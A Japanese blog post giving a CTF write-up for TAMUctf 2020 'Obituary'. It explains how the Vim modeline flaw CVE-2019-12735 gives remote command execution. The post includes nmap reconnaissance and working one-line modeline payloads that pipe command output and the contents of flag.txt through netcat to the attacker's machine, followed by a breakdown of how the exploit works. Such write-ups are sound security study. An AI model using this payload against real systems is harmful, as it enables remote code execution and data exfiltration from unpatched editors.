LoginSignup
6
1

More than 3 years have passed since last update.

Vim 8.1.1365以前に存在する脆弱性(CVE-2019-12735)を利用したArbitary Code Executionの実践(TAMUctf: Obituary)

Last updated at Posted at 2020-04-27

Screen Shot 2020-03-29 at 23.27.17.png

(Writeup) 実践

問題環境(TAMUctf 2020: Obituary)

Hey, shoot me over your latest version of the code. I have a simple nc session up, just pass it over when you're ready.
You're using vim, right? You should use it; it'll change your life. I basically depend on it for everything these days!

NOTE: This challenge is two parts. Flag one belongs to mwazoski. Flag two belongs to root.

攻撃シナリオを考える

Vimmerの人がnetcatのセッション経由で取得し(uploadされ)たファイルを確認する流れ。

攻撃対象がVimを使用しているだろうことしか情報がないのでVim CVEで検索すると

allows remote attackers to execute arbitrary OS commands

と説明があるCVE-2019-12735がヒットしたのでこれを利用できないかと考える。
Proof of Conceptもすぐ見つかった。

CVE-2019-12735脆弱性が存在するVimの利用を仮定し攻撃をするには

  1. 対象のマシンでのVim起動対象に攻撃スクリプトを混入する。
  2. 攻撃スクリプトの発火を確認する。
  3. 任意のOSコマンドをRCEできる。

以上のステップを構想し、確認していく。
この問題環境では対象は全てをVimで行うVim信者のようなので、攻撃スクリプトを対象サーバーに配置できればVim経由で開いてくれるのではと予想できる。
ここまででは推測の域を出ないので一歩ずつこのシナリオが有効か確認していく。

ターゲットマシンIPの特定する

TAMUctfのnetwork_pentestでは外部ネットワークには繋がっていない、172.30.0.1/30へのVPNが問題ごとに配布されている。

$ nmap -n -sn 172.30.0.1-16
...
Nmap scan report for 172.30.0.2
Host is up (0.00049s latency).
...
Nmap scan report for 172.30.0.14
Host is up (0.00025s latency).
...
Nmap done: 16 IP addresses (2 hosts up) scanned in 2.09 seconds

同一LAN内に見つかったhostは二台のみ。172.30.0.14は自分のlocalマシンなので以上から対象マシンは172.30.0.2であることがわかる。

$ nmap -A 172.30.0.2
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-02 15:22 JST
Nmap scan report for 172.30.0.2
Host is up (0.00030s latency).
...
PORT     STATE SERVICE VERSION
4321/tcp open  rwhois

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.36 seconds

対象マシンでは4321 portがtcpを待ち受けていることがわかる。これがncサーバーと推察される。(Service名がrwhoisと判定されているが、ここは利用portから(誤)推定されている)

想定シナリオの有効性を検証する

実際にこのシナリオが利用出来ることを確認するにはどうすれば良いか。確認方法は他にもあるだろうが、ここでは相手がncを利用していると推測できるのncCVE-2019-12735脆弱性を利用したRemote Code Executionの実行結果をlocalのマシンに送り返してもらうことで確認する。

172.30.0.14(localマシン)
$ nc -l 4444

localの4444 portにncサーバーを立て試しにidコマンドの結果をncで送り返す攻撃スクリプトを用意。

cmd.txt(攻撃用スクリプト)
:!id | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

攻撃対象(172.30.0.2)に攻撃用スクリプト(cmd.txt)を送ってみる。

172.30.0.14(localマシン)
$ nc 172.30.0.2 4321 < cmd.txt

数秒するとlocalマシンにidコマンドの出力と思われるものが返ってきた。

172.30.0.14(localマシン)
$ nc -l 4444
uid=1000(mwazowski) gid=1000(mwazowski) groups=1000(mwazowski)

指定したidコマンドの結果が送られてきたことでmwazowskiユーザーでOSコマンドがRCE出来ていることが確認できた。(攻撃シナリオ1. 2.)
ここで:!で指定するOSコマンドはmwazowskiユーザーが利用できるものなら何でも指定できることもわかる。(攻撃シナリオ3.)

欲しい秘匿情報の取得(Obituary-1)

mwazowskiユーザーで任意のOSコマンドをRCEできることが分かったので、上記攻撃用スクリプトを書き換えることで好きに~/以下を探索できる。

cmd.txt(攻撃用スクリプト)
:!ls ~/ | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
172.30.0.14(localマシン)
$ nc -l 4444
flag.txt (obtuary_1のフラグ)
manually_installed_packages.txt
note_to_self.txt
cmd.txt(攻撃用スクリプト)
:!cat ~/flag.txt | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
172.30.0.14(localマシン)
$ nc -l 4444
gigem{ca7_1s7_t0_mak3_suRe}

と欲しかった秘匿情報(flag.txt)を読み出すことができた。
CTFのflagは軽い難読化(e->3, o->0など)が施された対象脆弱性に関連する警句であることが多く問題を解いた快感と共に読むのが少し楽しい。
今回はca7_1s7_t0_mak3_suRe -> cat first to make sure。まずcatでファイルの内容を確認していればこの攻撃は避けられたと言うことであろう。

感想

報告されているCVEから環境に適したものを探し適用する問題の典型だった。PoCがワンライナーで利用できるものだったのでとてもやりやすかった。CTFは、どれもそうなのだが、実際に攻撃が確認できるまでは自分の中で建てたシナリオが有効か分からず、検証ステップを細かく刻めるかが実際に攻撃し切るには重要になる。この問題もこうやって振り返って整理するとstraightforwardなシナリオに見えるが、コンテスト中はVPN環境が不安定でそもそも対象マシンとやりとりができなかったり、相手の利用しているVimのversionが分からなかったり、uploadしたらどのくらいの時間で開いてくれるのだろうかと不安になったり、rwhoisってなんだろうと調べたりとそれなりに苦労した。

NOTE: This challenge is two parts. Flag one belongs to mwazoski. Flag two belongs to root.

とあるようにこの問題はここまでが前半(Obituary-1)で、同様の環境で後半にLinux Privilege Escalationが出来る脆弱性が残っている(Obituary-2)。そして配点を見るとObituary-1自体が解けた人が意外と少ないおかげで配点が各400点ずつ残っているおいしい問題セットだった。(Obituary-1が解けてる人はほぼObituary-2も解けている)

実はTAMUctf: my-first-blogもLinux Privilege Escalationの問題でTAMUctfの期間中にLinux Privilege Escalationの勉強にまとまった時間を割けたのでそちらもWriteupを書こうと思っている。
-> (20200519 追記) 書きました。https://qiita.com/yto9/items/5da726ce87ced627fa92
Screen Shot 2020-03-24 at 23.47.53.png

(おまけ) CVE-2019-12735PoCを読む

このPoCは環境に応じて修正する必要がないのでPoC自体への理解はなくても利用できるのだが、せっかくなのでどのように脆弱性を突いているのかを見ていく。

getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via the :source! command in a modeline, as demonstrated by execute in Vim, and assert_fails or nvim_input in Neovim.

CVEを見ると特定のversionのVim, Neovimでmodelineで:source!コマンドとexecute,assert_fails,nvim_inputを組み合わせることでArbitary Code Executionが可能と報告されている。

PoCから天下り的に何をやっているかを把握する

modelineからのコマンド実行と思われるような評価はセキュリティ上、sandboxで実行されるようになっている。

For security reasons, only a subset of options is permitted in modelines, and
if the option value contains an expression, it is executed in a sandbox

だが、:source! {file} コマンドではfile内の文字列をコマンドとして評価しsandboxをbypassして実行できる。

However, the :source! command (with the bang [!] modifier) can be used to
bypass the sandbox. It reads and executes commands from a given file as if
typed manually, running them after the sandbox has been left.

その:source! {file}を実行するためにCVEに記載されている、execute, assert_fails, nvim_inputと言った関数を利用している。

modelineのsyntaxからPoCを評価順に見ていく

PoC
:!{実行したいコマンド}||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

modelineのsyntaxは二種類ある。

There are two forms of modelines.
The first form:
[text]{white}{vi:|vim:|ex:}[white]{options}
The second form (this is compatible with some versions of Vi):
[text]{white}{vi:|vim:|Vim:|ex:}[white]se[t] {options}:[text]

各要素は


[text]                  any text or empty
{white}                 at least one blank character (<Space> or <Tab>)
{vi:|vim:|Vim:|ex:}     the string "vi:", "vim:", "Vim:" or "ex:"
[white]                 optional white space
se[t]                   the string "set " or "se " (note the space); When "Vim" is used it must be "set".
{options}               a list of options, separated with white space, which is the argument for a ":set" command
:                       a colon
[text]                  any text or empty

上記のPoCに当てはめると
text :!{実行したいコマンド}||
options fen:fdm=expr:fde=assert_fails("source!\ \%"):fdl=0:fdt=
とトークナイズされる。

modelineではtext部分は無視され、source! %が評価される。(%はカレントファイルを指す)

source! % では:!{実行したいコマンド}||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="がコマンドとして実行される。

:!は外部プログラム実行なので{実行したいコマンド}がコマンドとして実行されることとなりArbitary Code Executionが実現される。
(||はそれ以前のコマンドのステータスコードが0(正常終了)以外の時のみ後続のコマンドを実行するので、{実行したいコマンド}を有効なOSコマンドにした場合は||以降は実行されない。)

参考

6
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
6
1